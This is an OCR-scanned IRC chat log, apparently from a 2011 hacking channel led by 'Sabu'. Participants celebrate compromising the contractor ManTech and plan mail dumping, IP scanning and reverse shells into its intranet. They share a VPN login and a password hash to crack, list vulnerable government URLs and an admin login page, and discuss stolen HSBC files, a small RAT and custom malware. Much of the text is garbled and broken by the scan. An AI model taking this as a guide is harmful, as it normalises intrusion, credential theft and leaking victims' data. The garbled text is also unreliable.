is so annoying 
wont ever connect to that lef 
damn notebook keyboard 
'•leaf 
lol 

half of lounge is annoying at times :P 

It will probably only send one word per line 
on connect 
rof 
rof 1 * 
ke he does) 
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57 




that is our user: 
AnyConnectPreferences> 
<DefaultUser> lemartin 
<Def aul tSecondUser> 
<DefaultHost> vpn.mantech.com 



#! sunnydays .log 

22:59 <@Sabu> mantech owned 
22:59 <@Sabu> 22:57 
22:59 <@Sabu> 22:57 
22:59 <@Sabu> 22:57 
22:59 <(asabu> 22:57 
22:59 <©Sabu> 22: 
22:59 <(asabu> ;) 
22:59 <MH|^H. 
22:59 <(dSabu> ROFL 
22:59 <(asabu> ROFL 
22:59 < @Sabu> R OFL 
22:59 < ^^^^^B S abu, is he dumping shit? 

23:00 <^^^^HH also, for Cweb)programmi ngfags , my javascript desktop 
envi ronmen^Townias workspaces, window resizing (including ability to disable 



actually I'm a lot worse than 



in that regard :1 



resizing, 
23:00 <' 
23:00 < 




and minimum/maximum widths and heights) 
^^■H http : //www . yuni cc . ws/bl adi ebl a/ j sde . html 
M 10 1 mantech 

https : //wwwTgoogl e . com/a/mantech . com/Servi ceLogi n?servi ce=CPanel&passi ve=1209600& 
conti nue=https : //www. googl e . com/a/cpanel /mantech . com/Dashboard&f ol 1 owup=https : //w 
WW . goog l e . co m/a/ cpanel /mantech . com/Dashboard 
23:00 <(cB^Bgoogl eapps lols 

23:00 < ^^^^B that makes things easy... hope he has 2way auth 
23:01 < ^^^^1 so you can simply dump mails with ^Himap 

23:01 <' 
23:01 < 



looks cool,( 
23:01 <(asabu> yup 
23:01 <@Sabu> I'm going to get him to give me access now 
23:01 <@Sabu> so you can start dumping 

Sabu, I have someone doing rap lyrics, he just needs a beat 
would you know anyone that can produce a beat? 
lyrics seem good 
Administrative Contact, Technical Contact: 

ware, Thomas 

ManTech international corporation 
12015 Lee Jackson Highway 
Fairfax, VA 22033 
US 

703-218-6367 fax: 703-218-8391 
guyz 
1 need a vpn 

American Registry for internet Numbers NET206 (net-206-0-0-0-0) 
206.255.255.255 
MCI Communications Services, Inc. d/b/a Verizon Business 



23:02 
23:02 
23:02 
23:02 
23:02 
23:02 
23:02 
23:02 
23:02 < 
23:02 < 
23:04 <' 
23:04 <' 
23:04 <' 
206.0.0 
23:04 < 

NETBLK-UUNETCBLK136 CNET-206-136-0-0-1) 206.136.0.0 - 206.139.255.255 
23:04 <»■ ManTech NBS-206-136-164-0 (NET-206-136-164-0-2) 206.136.164.0 - 
206.136 .Tg7T 255 

23:04 <^^H Network Billing Systems, LLC UU-206-136-164-D5 (NET-206-136-164-0-1) 
206.136.TCTT0 - 206.136.167.255 

23:04 They own all of 206.136.164.0 - 206.136.167.255 

23:05 <@^^B scanning now 




23:06 <@Sabu> 
23:06 < 
23:06 < 
23:06 < 
23:07 < 
for the 
23:07 < 
23:07 < 
23:07 < 
23:07 < 
23:08 < 




ttp : //i . i mgu r . com/Qkl Lt . j pg 
mce :D 

yup i like that one too :d 
i was ever offerd the red/blue pill 



i would have taken them both 



voice operation surely is producing :) 
http://antisec.imgur.com/all/ definitely 
pills are bad 
Sabu, thanks 

0 This computer system is for use with official ManTech business. 
ManTech Pol i cy lT-100 defines the appropriate use of ManTech IT Equipment and 
Services. Use of this computer system may be monitored by ManTech management and 
your use of this computer system in violation of Policy lT-100 will subject you 
to disciplinary action. Your use of this computer system means that you 
understand and agree to abide by the terms of ManTech Policy IT- 100." 




23:08 < 
23:08 < 



that'd be Matrix on acid or so 
thi s will totally keep people away 
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#! sunnydays .log 

yup lol 
lol 

votes for offering shirts with a "ManTech Policy IT-100" print. : 
i tried and e before only once had a good laugh wont do it 



just 4 teh lulz 



23:10 < 
23:10 < 
23:10 <' 
23:10 < 
23:11 
23:11 
23:11 
23:11 
23:11 
23:11 < 
23:11 < 
23:11 < 
23:11 < 
23:12 <' 
23:12 



23:08 < 
23:10 <(< 
23:10 
23:10 <(<_ 
again tho 
23:10 <f 
23:10 < . 

http : //www . thenewnewi nternet . com/2011/01/20/f bi -awards-mantech-cybersecu ri ty-cont 
ract/ 

lol 
1 ul wut? 

you must not of had pure MDMA! 

f9M contract 

this is gonna be epic! 
March 2011 
harhar 

http : //wi l<i . echel on2 . org/wi ki /Mantech 

i was fucked after having tht one lol 
also points to the interesting hbgary mails 
1 doubty i need anything pure xD 

<vi codi ne 
BB will get a harden. 

it might of been something besides MDMA 

i was up for hours lol talking blahj blah blah and my jaw was 

its hard to know what your getting on the street 
_ lol 

~t was deffinetly e 
sounds about right I 
ttp : //i . i mgu r . com/nf 8wO . j pg 



Imao A 

_ did you run the command to find the facebook pages? 

wtr ~s trn s :S https://mtssa.mantech.com/ 
i searched for 
facebook. php 

"For all Government and Military personnel access on the RSC 003 

Contract with ManTech DSG please coordinate all access requests through fssd: 

Susan J ames, Civ USA amc 

23:14 < gU^B wich is not the file we need 

23:14 <€^^H but close to it is the cred file 

23:15 < @Sabu > 

23:15 <^^| http^//l ogmastre.mantech.com/ 
23:15 <@SaDu> you got busyboxes for my boy 
23:15 <(asabu> he needs busyboxes to bounce 




23:15 
are back 
23:16 < 
23:16 < 
23:16 <' 
23:16 < 
23:16 < 
and not 
23:16 < 
pages? 
23:16 < 
23:16 <' 
23:16 <' 
23:16 < 
23:16 < 
23:16 <' 
23:16 < 
23:16 < 
23:16 < 
23:16 < 



btw 




we definitely have to look into 



http://i .imgur.com/74kj2 . jpg 

just grep for 'facebook.com'? 



once you 



they sure have quite a bunch of servers running 

no i only had tht list and it got released in logs thus it's known 
e trusted/used any more 

did you run the command to find the facebook 

i searched for 
facebook. php 

usually API configs have the API url 
in it 

which I would imagine has facebook.com in it :P 

possible 
lol 

ut the search command would take longer 
i guess 
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23:28 
23:28 
23:28 
23:28 
23:29 
23:30 




server 

23:30 « 

PM" and went 
23:31 <«■ 
23:32 <@Sabu> 
23:32 <@Sabu> 

23:32 < 

23:32 <@Sabu> 

23:32 < 

23:32 <@Sabu> 
23:32 <@Sabu> 

206^136'^^^ 

23:32 < 



#! sunnydays .log 
cause it has to look into the files 
well yes, but more accuracy :) 

and grep is actually rather fast 

my rev shell was very instable 
thats what I meant :P 
ah 

sabu here -> http://sprunge.us/GTbz 

pay attention to anonops 

you can't background it? 

will send you mantech dump 
it's an old list, might have to try quite a few before you find some 

Sabu, okay getting in touch with him 

03:22 [anonops] ^^^^^B [Lulz@AN-95n.3dd.l8sp2t.lP] 
i suppose 
yup 

hes very private 
so dont spook him 
by asking too many questions 
these mantech ppl seem to have a lot of boxes this could be a p big 

can someone give me the IP of a working anonops leaf? :1 

is anonops still under a socks dos? 
dont worry 
94.75.228.146 | 6697 
seems to be up 

I have been on this for the past few days 

same here 

^^^1 specs: quadcore, 16 GB DDR3 Ram, 3tb C1.5tbx2) lOOmbps 

sepr has this server for us 
if we need it 

FYI 

has quit [Ping timeout] 

so nice 
but who is sepr? 

be weary of people giving you servers so they can log all your 

someone from Op Metal Gear days 
but yeah, i haven't spoken to him in months 

so I wouldn't trust him coming out of nowhere and offering us a 

_^ especially considering he began the conversation with "| 
straight to the subject of hosting 

A 

yeah 

lets leave all those offers floating 

he offered that server? 

we gotta provide our own shit 
when? 

eBs trying to sniff us 
by any means necessary 

206.136.167.22:25 220 micmaill.mantech.com ESMTP 
1:25 220 micmaill.mantech.com ESMTP 




23:32 
23:33 < 
23:33 < 

23:33 < . 

connections f 
23:33 < 

23:33 < 

metal gear 
hosti ng 
23:33 < 
23:33 < 




when did he offer that server 
abu hmm he's asking me how we're gonne cooperate on this 
03:36 < ^^^^B hmm, well what kind of help you exactly need with? 

03:37 <^^^^^^^| mostly on where we will sent the reverse 

rom the in^^^^^^^^ 

<sepr> yes that's a dedicated server 

<sepr> I'm still hosting the research group's wiki for operation 

project PM although I don't have anything to do with it besides the 

<sepr> and for the rest, i'm bored as shit when i 'm online :p 
<sepr> anonpad is hardly used so I don't have to do maintenance 
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on that eithe 
23:33 < 
23:33 < 
operation 
23:33 <(asabu> 
23:33 <@Sabu> 

23:33 < 

23:33 <@Sabu> 

23:33 < 

23:33 <(asabu> 
23:33 <@Sabu> 
23:33 <@Sabu> 
itnranet 
23:34 <@Sabu> 
23:34 <@Sabu> 
23:34 < 
23:34 < 

23:34 < 

23:34 <(dsabu> 
23:34 <(asabu> 
23:35 < 
23:35 < 
23:36 < 
< 



#! sunnydays .log 

right now ^^H^^ 
should we ge^nrt^n some channel, dedicated for mantech 

I'll speak to him now sec 

yeah 

^^^1 Sabu, 1 sec 

infiean 

let me check something 

we can invite him here, and create a private channel 
a mant ech op 

here now so she can help with reverse connections into the 



23:36 
23:36 
23:36 " 
23:36 <(asa&u 
23:36 
23:36 




also he can just give us intranet access and 
or me etc 

i can help with rev-conn too 
excel lent 
let s do th at 
ok so invite him over 

lets se^tms up 

thi saa^^s gonna a fucked up i rl day 
since i will just sleep all time and everywhere 
im jet lagged and tipsy lets hack :D 



can spread 



23:48 <@Sabu> 
23:48 
23:48 < 

23:48 < . 

then is not i 
23:48 <' 
23:51 < 
23:51 < 
23:52 < 



passes out 
u> ^^^B will invite you 
<.< 

lets do this 

excellent :D 
wakes up 

7 

accept invite 

A 

is it ok if I clean out the tmp folders? 
Have you got copies? 
ttp://www. speedtest.net/result/1390047418.png le sigh 
guys: don't pick up on sepr's offer yet, I have to figure out 



ean everything 

HgHI thats a pretty crap VPN connection 
tnTnKit's my actual line 
eems slow without VPN :( 
ah ok, damn! 

that speedtest is VPN of course 

dont have any concerns about sepr 
was around for a while giving support 
about him 

let ^^^^^1 figure his thing out first though 
tnatvps looks like hma 

er 

VPN* 

or at least, it looks like the results I got from hma 
yes, Dublin 
I got that all the time :P 

I need a hma vpn. can we share like old times ;( 

sees a certain person connecting 
I am sharing mine already Sabu, and it only allows two :( 
Sabu: idk if it's still paid for, but the one you gave me back 
n use anymore 
P 

gayyy 

HMA? 

wny didnt u say u need vpn? 
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#! sunnydays .log 

Sabu: as in 

I don't use it anymore 

so if its still paid for (which idk) you can just use it again 

JSabu> I heed a hma vpn if anyone got 

ill setup a bunch of diff vpn accounts to be shared soon 

, ley 

iSabu> kk 

I back now 
)u> 

)u> cneck that i tali an leaker 
)u> contact him 
how goes? 
sabu? 

for the moment and just as workaround 
the i tali an leaker? 
vpnl.opi ran . com 
freedom : freedom 
pptp 

yes i know pptp sucks... 
and dont crash it 

i rani an and Syrians dissidents are using it 
he works & i tali an congress or something 
is leaking docs 
kk good 
nick? 

___ ah you mean the people that leaked the internal parlment 
documentation ? 

the same that created the facebook group ? 

Sabu: ? 

Day changed Mon Jul 18 2011 
00:02 <(asabu> yes 



23: 


:52 


<i 


23: 


;52 


<i 


23: 


;52 


<i 


23: 


;53 


<( 


23: 


;54 


<( 


23: 


;54 


<i 


23: 


;55 


<i 


23: 


;55 


<i 


23: 


;55 


<i 


23: 


;55 


<i 


23: 


;55 


<i 


23: 


:55 


<i 


23: 


;55 


<i 


23: 


;55 


<i 


23: 


:55 


<i 


23: 


:56 


<i 


23: 


;56 


<i 


23: 


;56 


<i 


23: 


:56 


<i 


23: 


:56 


<i 


23: 


;56 


<i 


23: 


;57 


<i 


23: 


;57 


<i 


23: 


;57 


<i 


23: 


:57 


<i 


23: 


;57 




23: 


;59 







23:59 < 
23:59 < 



00:02 
00:04 < 
00:04 < 
00:05 < 
00:06 < 
00:06 <' 
00:06 
00:06 < 
00:07 
(after i 
00:07 < 
00:11 < 
00:11 < 
00:16 < 
00:23 < 




kk lemme try 

chance to join anonops.li with tor ? 
some trust server allow it ? 




on ly abusing/blacklisted TOR nodes are blocked 
some less used exit nodes are allowed 
it uses a dnsbl 

a friend of mine: 'do you run the internet or something?' 

im about the issues with ED and anonnews etc) 
>.> 

ok thanks 
lol 

dal94e57aee6d08f bee27629a43d2d2d : 2nKHdi 7f KYhnGsBS someone 



wanting us to crack 



00:23 
00:23 




(passing along message) 
salt 'n' pepper 



sent a mail to him, hope to take back a feedback :> 



00:33 
00:33 
00:33 



ccnigeria.org/index. php?option=com_artforms&task=vf erf orms&id=134 
lol 



33 < 
3 5 <@Sabu> 



00 
00 

00:35 <(asabu> 

00:35 <(asabu> we can help him distribute his docs 



It you contact him 
e sure you build relationship tell him to come to anonymous etc 



00:35 
00:35 
00:35 
00:35 
00:37 




http : //www . af te rhou rsd j s . org 
you guys will love the show 
that is on atm 
:3 

; yep already done, i will keek you posted. 
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<@Sabu> 



00:37 
00:42 
00:42 
00:42 
00:42 



http : //gawker . com/5821 




#! sunnydays .log 



:0 



00:42 
00:42 
00:42 
00:43 
00:43 
00:44 
00:45 
00:45 
00:45 
00:45 
00:45 
00:45 
00:46 
00:46 
00:46 
00:47 



you favorite reporter found a new scandal: 
/anonymous-hackers-have-naked-groupies-now 





:D 

yor* 
_ argh 
wtf 

?Sabu> naked anons >* 

.you cant dox them by clothes... 
there was someone in #voice earlier showing tits 
she openly admitted to simply being a slut 

it was funny 

any screens? 

lol? damn i missed that 

tweet materi al ! 

http://ti nypi c. com/view. php?pi c=2i jgrb5&s=7 
meh 

.made. this. vhost. to. express. my. loveforu. info] has joined 

. made. this.vhost. to. express. my. loveforu. info] has quit 
kerpia-7146060E. huehuhuehuehuehuheuhueh .owned . hu] has 




erpia-73DF90c2 

sunnydays 
00:47 <g^^^H wat 
q0^48H 

U^gRerpn a-73DF90c2 
user quit: leaving] 



00:49 

joined #! sunnydays 




51 <@Sabu> 
51 <@Sabu> 
51 <@Sabu> 



wat 

o? 
what? 

just your curious hosts 

hahah xD 

I love your host 




huehuehuehueheuheuehueheuhheuehueh 
I want to buy one where its like 

xD if you whois me (if you're i rcop) it looks better xD 
i'm off 
see you later 
see you 



00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 
00: 

HuHEUAEHUeahuaheUHEAUEUheahuaheUHEAUEHUhhaeUAHEuehauhUHEAuheauhuaHAU . com . br 
00:52 <@Sabu> later 
00:52 <@Sabu> ;) 

rofl 

- is connecting from *@di d. a. nig. drive-by. on. IRCop. St 

- is connecting from 

EUHeuhEehu.hUEhuhueHUEHUEHuhEUhuEh .OwNeD.Hu 
get me that domain so i can use it;d 

D 

:D:D:D 

Sabu: doesn't internet. bs have com.br? 
omg actually sleeping wouldnt even make sense in my case 
2 hours til if have to get up -.- 

any good movies?' 

The Tunnel 
s what you 're in to 




00:52 < 
00:52 < 

00:52 < 

'•©huEHUhUEHuEU 
00:52 <©Sabu> 
00:52 <' 
00:52 < 
00:52 < 
00:52 < 
00:52 < 
00:53 <' 
00:53 < 
00:53 < 
00:53 < 




epenc 

is still want to reg 



1 ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat : 3 



00:54 <' 
00:54 <' 
00:54 < 
00:54 < 




lulz 

man that'd be sweet 

how much does .cat cost? 
120e yr 
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00:54 
like . 
00:54 
00:54 
00:54 



apple anc 
< 



#! sunnydays .log 
they are introducing toplevel domains for companies, 



wel 1 
. coke 

so maybe you can hack them 
and become something 1337 
not sure :D but they will seize the domain if you're site has 
nothing to do with cataylan 
00:54 <©Sabu> keep owning 1( 

00:54 <(asabu> \) 

55 <(asabu> oye^^^^ eres de Catalan? 
wut?^^^ 

how come nyan.cat is up? >:[ 

wtf has nyan.cat todo with cataylan ? 
because they have a Catalan translation of the site ;) 
thats how you can get round it ;) 
so let's mirror nyan.cat 

for loooooooooooooooooooooooooooooong.cat 

well then we can do this for 
1 ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat to 
yes ! 

whats the max length you can have in a domain name? 
255 
? 

im not sure. . . 

depends on the tld 




00 
00 



00: 


:55 


< 


00: 


:56 


< 


00: 


;56 




00: 


;56 




00: 


;56 


< 


00: 


;56 




00: 


;56 




00: 


;56 


< 


00: 


:56 




00: 


;56 




00: 


;56 




00: 


;56 




00: 


;57 




00: 


:57 






it would have to be bang on the max xD 
_ 63 

so no one could make a longer. cat xD 
yeah 

just make it have a Catalan subtitle 
on the longcat picture 

OPl ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat 
does that 63 include the .cat? 
that's how nyan.cat did it I believe 
]opie91 yeh :D 

1 oooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat 




00:57 
00:57 
00:57 
00:57 
= 63 
00:57 




as long as there is Catalan on the site it wont get pulled :D 
i'd love to have tht domain :( 
yeah 

for email adresses 
srs 

think im gonna buy it 
let's get it 

have bitcoin to buy it but im always scared to put my name to 

such on the net : ( 

is there any whois protection? 
sabu can buy it aa 
hes doxed anyway 
:D 

ohnoes you stealing mah domain ;_; 
http://fluffy.cat/ 
gobbles domain right now with PayPal 
ulz 

XD 

im going to resell it to you 
for like 130 yr :D 

[^^■|kerpia-2198c9F4. a. nig .drive-by .on . i rcop. St] has quit [User 

Lost termi na I J 

atleast let me have a shell so i can ire from 

1 oooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat and make all the 
internet jelly :3 



00:57 
00:58 
00:58 
00:58 
00:58 
00:58 
00:58 
things an 
00:58 <■ 
00:58 < 
00:58 < 
00:58 < 
00:58 
00:58 
00:58 
00:58 
00:59 
00:59 
00:59 
00:59 
quit: 
00:59 < 




00:59 <(! 
00:59 <(i 

01:00 < 

in Catalan xD 
01:00 <@Sabu> 




okay 

second 

and on the httpd we jsut have a really long cat tht scrolls forever 



I like that idea 
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01 


00 


<@Sabu> 


01 


00 


<@Sabu> 


01 


00 


<@Sabu> 


01 


00 


<@Sabu> 


01 


01 


<@Sabu> 


01 


01 




01 


01 




01 


01 




01 


01 




01 


01 





#! sunnydays .log 



it 



njcl^yeah we are 
, hahaha 

got bitcoins i'd pay towards a shell or something for it? 



wants to email from 

_ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 

wants an email too :3 

1 oooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat@l oooooooooooooooo 
oooooooooooooooooooooooooooooooooooooooong . cat 
01:02 <VHj^H 

1 ooooooooooooooooooooooooooooooooong . cat . i s@l oooooooooooooooooooooooooooooooooooo 

oooooooooooooooooooong . cat 




01:02 
01:02 
01:02 
01:02 
01:02 
01:02 




fff" 



y u snatch my idea 
^ because I gobble and snatch 
lets make 

1 ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat a 
tinyur! redirecter 

while you suffer 

I AHAHAHA 

>ti ny 

Sabu: 

"unshortened URLs for the Catalan feline lover community" 



01:02 
01:02 
01:02 
01:02 
01:02 
01:03 
01:03 
01:03 < 
01:03 < 
01:03 < 
01:03 < 
01:03 < 
01:03 < 
01:03 
01:03 
01:03 
01:03 
01:03 
01:03 
01:03 < 
01:03 < 
01:04 < 




the URL longener! 
ahaha\ 

it wont allow subdomains 

i think the url longener already exists 
"still fits in a Twitter message!" 
URL increased by 100% 
its 63 

7 



_ subdomains count towards the 63? 
think 63 is max lenght for FQDN 
someone highlighted naked groupies 
im not sure 
gonna check this 

this is the most serious thing of 2011 



01:04 < (gSabu> im down for this 
01:04 <^^|^^H we need maximum longcat 

01:04 < (g^^^o'^ g this stuff is what keeps me away from sleep 
01:04 <^^^^pB esp. for hacking shit 
01:04 <^^^| wtf is wrong with me 
01:04 <@Sabu> ahahahaahahahhha 

01:04 <@Sabu> ok update: lulzsupports going to prep the 500mb of files from 
mantech 

01:04 <(asabu> to send us 
01:05 < 
01:05 < 
01:05 < 




but we're out for moar 



perhaps a 59chat long so we can have 

moar . 1 oooooooooooooooooooooooooooooooooooooooooooooooooooong . cat 



01:06 
01:06 
01:06 
01:06 
01:06 
01:06 




_ but then someone can still reg a longer cat 
twitter is a fucking spambot 
i only got like 5 followers 

and 9001 mails 

a fair assessment 

I had an idea to aousethat, 
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01:07 
01:07 
01:07 
01:07 
01:07 
01:07 
01:08 
01:08 
01:08 
01:08 
01:08 
twitter 
01:08 
01:09 
01:09 
01:09 
01:12 
01:12 
01:14 
01:14 
01:14 
01:14 < 
01:14 < 
01:14 
01:14 
01:19 
01:21 
01:22 
01:22 
01:25 
01:26 
01:27 
01:27 
01:29 
01:30 < 
01:31 < 
01:31 < 
01:31 < 




# lsunnydays.log 
we jack into someone's twitter 
set their email notifications to on 

then tell everyone to follow them from ©lulzsec 

yeah 

i tought exactly same lol 
when i saw my mails 

http : //www . thatcutesi te . com/upl oads/2010/08/ top_hat_cat . j pg 
lulzkitteh \o/ 
oh shit 

that's the best cat in the world 
oh i think this will be totally the avatar of my alter ego 

LulzKitten :) 

do it; you will be feared by the legion 
yar just cropping a bitz 
http://i .imgur.com/jlVcKh.png 
kitteh wants the red pill :D 
yar i really like that one, nice work 
okay offline now - for real :D 
bye 

hehe cya 
ci ao 

has quit [input/output error] 

ye 

has quit [user quit: Leaving] 

com] has joined #!sunnydays 
Leaving] 



kerpi a-BiypE 

has quit [user quit 
nown as 





sabu did you see the nysenate.gov vuln? :o 

http : //www . nysenate . gov/commi ttee/codes/updates?type=l egi si ati on 
and here is another one in .ua 

http : //www . vv . gov . ua/t rk . php?l ang=en&mi d=22 

Sabu> yeah I told him to pass to you 

ok, that hsbc was got from a personal computer 
and i m not sure about the value of the info 

yeah me neither 

Sabu> ok 

01:31 <@Sabu> a personal computer of a hsbc employee? 
01:31 <@Sabu> we may just have to sit on it then 
01:31 <@Sabu> the other stuff is more worthwhile 
01:31 < ^^^^B yar i'd say that alone is no release 
01:32 <g |B^^ yep sure its from an employee 

01:32 < ^^^H we can maybe release it later with other stuff .. like i still 
have some us county financial foo 

also boring as such 
also watch out with the macros included there 
Sabu: supah okay for bucc i'd say? 
not the first time he gives us such shit 
i only have a dumb viewer 
cannot play any macros :) 
also i know its not up to the discussion but for those using 



01:32 
01:32 
01:33 
01:33 
01:33 
01:33 
01:35 




rooted servers to ire or something 

protect your screen session with passwords 
(just discovered that old screen vets didnt know about it) 
http : //www . youtube . com/watch?v=G68umLM07CY&f eature=share 
:/ 

yup 

l^^f^^^B^^^^^B^^^^HH^ has quit [user quit: piece of 
I^T^cocK^car^^ever^T^cr^tn^ video linked because 

hurr hurr flash + bandwidth rape tl;dr rebooting router (J^oTy christ almighty)] 
01:43 < ^^^m brb 



01:35 < 
01:36 <' 
01:38 < 
01:38 < 
01:41 < 
01:41 
<censo 




Sabu> 




01:44 



01:45 ^Rabu> wtf 
01:45 <©Sabu> everyone leaving 
01:45 <@Sabu> conspiracy 
01:45 <^ 
01:45 <G 



has quit [user quit: .] 



yep all the reference are for their intranet 
hsbc i mean 
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#! sunnydays. log 

has joined #! su nnydays 

■! sunnydays L+qo ^^l^^^^^g by ChanServ 
i m wondering if its a citnx 
and intranet 

Sabu, also, come back in #bucc? 

01:49 <@Sabu> kk 

right gonna get some sleep had a long day today xD 
sweet dreams guys <3 



01:45 
01:45 
01:47 
01:47 
01:49 




01:54 < 
01:54 < 
01:54 

01: 54 <J^B^nite nite :3 

01:54 ^^^^^B [^^^■kerpia-7146060E. huehuhuehuehuehuheuhueh.owned.hu] has quit 
[user quit^^^ea^T^P 
01:55 <<^g^m well 

01:56 <^^^^H the most interesting thing was that pdf about money laundering 
preve ntion by hs b c (lol t hats exactly what they do all time) 

02:07 l^^^^H [^^^^gkerpi a-AA0BC39F. dial up. adsl .anteldata.net. uy] has quit 
[Ping timeoL^^^ 
02:07 <(r- 

02:07 <(! 

vz60 and vz61, 
last 3- 4 weeks . 

02:07 <(£^HI^^| The issue was the result of a buggy network driver combined 
with ta rgeted net work attacks designed to exploit the buggy driver. 
02:07 <<S^K^^^M It took us a lot longer to track down this problem than it 
should have, and your vps's uptime has suffered in the mean time because of it. 
02:07 <^HH^^H AS such, we have credited all German VPS accounts with 1 month 
of service as compensation, and are pleased to report that the issue is being 
fixed at this very moment. vz61 is in the final stages of being fixed, and vz60 




Hello, 

As all of you have probably noticed, our two German servers, 
ave been having a lot of stability and uptime issues over the 



will be fixed shortly thereafter 
02:07 . - _ 

at http: 
02:07 <■ 



02:07 
02:07 



02:07 < 
02:08 < 
02:09 < 
02:12 < 
02:12 < 
02:12 < 
02:12 < 
02:12 < 
02:12 < 
02 : 14 
joinec^^ 
02:14 < _ 
decisions 
freeBSD 9 



Further information and updates can be found on our news page 
www. ramhost . us/?page=news 
Regards , 

RAM Host Operations 
http: //www. ramhost. us/ 

AS53841 

tl;dr konjassiem should be working correctly shortly 
free month 
ya 

that is why I host at ramhost lol 
if something goes wrong 
which only happens occasionally 

he always fixes it and gives account credit etc etc 
always really upfront about what is going on 
y^^^lkerpi a-2F5B6FE9 . b-ras3 . mvw. gal way . ei rcom . net] has 

! sunnydays 

lol this is the special moment of the day, where i take stupid 
not needed) about changing my 64 linux fresh install (today) for a 





the fli rting wit 
02:19 < 



LOL 

im drunk, yet I no make such hoice 
-choice 
ow was the lesbians? 
was you, isnt it? 
ohai ^^^^^1 

notgoi ngtoendwel 1 . j pg 
^^^it was me and I failed 
asically 

Viagra 

avoid alcohol 
dont eat to fat 
your cock will rock 

I used my lack of charm and whipped out some beer :P 

too fat- 
However, had an otherwise very fun day :) 

Some italians presented themselves as presentable targets for 



ok nothing to bad, look what makes my day today 
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02:19 . 

http://gawker 
02:20 
02:20 
02:20 
02:20 
02:20 
02:20 
02:20 
#!sun 
02:20 
02:21 
parts 
02:21 
02:21 
02:21 
02:21 
02:22 
drai ne 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:22 
02:23 
02:24 
02:24 
02:24 
02:24 
02:24 
02:24 
02:24 
02:24 
02:32 
02:33 
02:33 
02:33 
02:34 
02:35 
02:36 
[Pi ng 
02:36 
02:36 
02:37 
02:37 
02:37 
02:37 
02:40 
week 
02:41 
02:41 
02:41 
02:44 
02:44 
02:49 
02:49 
02:49 
02:49 
02:49 
02:50 



#! sunnydays .log 

'com/5821769/anonymous-hackers-have-naked-groupies-now 
_ you wont believe this actually 
nng the tag line 
pwn mantech. 

what has happen? 
10 "operated with hbgary on metal gear and other shit 
they are military and nato contractor 

|kerpia-8DDB8756.dialup.adsl .anteldata.net. uy] has joined 








and just got an FBI contract worth 9 million for cyber security 
well, one employee already owned, 500mb files (nato, secret in 

but we want moar mwahahah 
this will be good 

AHHAHAHHAHAHA 

I love it 

(sorry if typing is bad, but... Them italian ladies have 

nly my wallet) 

anonleaks tiem? :3 
there are some pretty rad guise working on it 
they only do it from the inside 

well 

Count me on 
_ 111 write custom malware 
infecting agents 
yar 

thats why we need you 
for infecting the target 
I have 22kb remote adminstrator tools here 
and want to make them smaller yer 

just need to do some srs reverse engineering 

22kb its not bad at all 
22kb RAY 

*RAT 

uses HTTP 
so T0R2WEB dns 
= trace less 
al so 

that 22 kb RAT 

has the entire functions of a RAT which is 650kb 

clever 

I take pride in work 
at remembers me that tor devs should fix hidden services 

Is hidden services broke? 

sucks currently 

aaaah, well I notice it slow 

[^^^^|kerpia-8DDB8756.dialup.adsl .anteldata.net. uy] has quit 

http : //i s . f i u . edu/ 
lol 

48h deface now :p 
well not quite 

LOL 
_ EPIC 

1 m thinking about testing reliability of hidden services next 

could shit not so used usually 
cool shit* 
shame 

ok here is the antisecnl leak results 
http : //mappi o . com/mi ndmap/1 eres/anti secnl 
imma get a coffee 
got a 2km walk ahead 
her eis not safe 
*here is not safe 
heh.. be safe on your way out 
i d go to bar i tali a 
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02:50 _ 
#! sunnydays 



#! sunnydays .log 
|kerpia-E5B7371.dialup.adsl .anteldata.net. uy] has joined 



02:50 < 
02:50 < 
run like 
02:51 < 
02:51 
02:51 
night 
02:52 < 
02:52 < 
02:52 < 
02:54 < 
02:54 < 
02:54 



i like to troll Scotland yard about that 

aye, just got some water heated... planning to pack gear and 

a bitch for 1km 

I am in no mood to fight 
too fucking tired :P 

been sleeping on ground for few days, 4 hours sleep maximum per 




where the hell is uy? 
Uruguay 
yar just realized that 

im waiting to goto norway :) 
^^^B btw ManTech's client List: 

De^nse intelligence Agency, Federal Bureau of investigation. 

National Geospatial -intelligence Agency, National Reconnaissance Office and 
Security Agency 

Department of Homeland Security 

U.S. Navy, Air Force, Army, Marine Corps, Missile Defense 




National 
02:54 < 

02:54 <^ 

Agency and darpa 
02:54 <~ 



Department of Justice, Department of State, Environmental 

Protection Agency, NASA, NATO, state and local governments 
02:54 < ~^M^W that aint a target i dunno lol 

<(c^^^H~ok officially i have to say the transformer 3 girl hardens cocks 

f aps 

faps a lot at that list 
ttp : //wi ki . echel on2 . org/wi ki /Mantech 
Ok, im advacning my relocation plans 
and: 

http://www. thenewnewi nternet.com/2011/01/20/fbi -awards-mantech-cybersecuri ty-cont 
ract/ 

be safe . . . 

you got gem's src? 

how was antisecNL pwnt? 
got leaked from inside 



02:55 
02:55 
02:55 
02 
02 



55 < 
55 < 
02:55 < 




02:55 
02:55 
02:55 
02:56 





was his nick i think 

rovided the ftp lulz 
wait, ^^^^1 is the guy who leaked? 
1 believe so 

and how did he get access everywhere? 
cant be sure 

dont ask me, i was never so close with those guys 
gtg - tell me infodox soon! 
ill sleep as soon as I relocate 



bad enough one of my handles 



up there 



02:56 
02: 
02:56 
02:56 
02:57 
02:57 
02:57 
02:57 
02:57 
farewe^n 
02:57 
anonops 
02:58 < 
02:58 < 
02:58 
02:58 < 
02:58 < 
02:58 
02:59 
was wei rd 
02:59 < 
02:59 < 
03:02 < 
03:07 ■ 
04:01 I 
[user quit 
04:32 <■ 
04:59 < 

http : //sf -police . org/Admi n/Logi n . aspx?Retu rnurl =%2f admi n%2f def aul t . aspx 




has quit [User quit: bye, good luck, 
thinks there are quite a few infiltrants in the dutch part of 

yar i am wary of any dutch person :p 
that xy. . . ire? 

wat? 
oh yup 

dunno remember what it was called 

i know it was leaked before cause someone mentioned ^^^H which 



hm... funny thing was a really small group of ppl there... 
